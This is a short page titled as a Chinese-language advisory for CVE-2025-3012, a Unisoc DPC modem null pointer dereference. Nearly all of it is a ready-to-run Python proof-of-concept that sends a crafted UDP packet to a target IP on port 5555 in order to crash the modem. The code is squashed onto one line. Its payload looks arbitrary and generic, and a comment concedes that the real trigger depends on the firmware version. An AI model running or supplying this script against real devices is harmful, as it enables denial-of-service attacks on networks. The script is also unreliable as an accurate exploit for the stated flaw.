CVE-2025-3012: Unisoc DPC调制解调器空指针解引用拒绝服务漏洞

# CVE-2025-3012 PoC - Unisoc DPC Modem Null Pointer Dereference # This PoC demonstrates the vulnerability in Unisoc DPC modem # Attack Vector: Network-based, no authentication required import socket import struct import sys def create_malicious_packet(): """Generate a malicious packet to trigger null pointer dereference""" # Modem control message header header = struct.pack('!HH', 0x0001, 0x0000) # Type, Flags # Malformed data to trigger vulnerability # Specific payload depends on modem firmware version payload = b'\x00' * 100 # Null payload to trigger dereference # Add specific trigger bytes trigger = b'\xFF\xFF\xFF\xFF' return header + payload + trigger def send_exploit(target_ip, target_port=5555): """Send exploit packet to target modem""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = create_malicious_packet() print(f"[*] Sending exploit to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) sock.close() print("[+] Exploit packet sent successfully") print("[*] Target modem should crash due to null pointer dereference") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-3012.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 5555 send_exploit(target, port)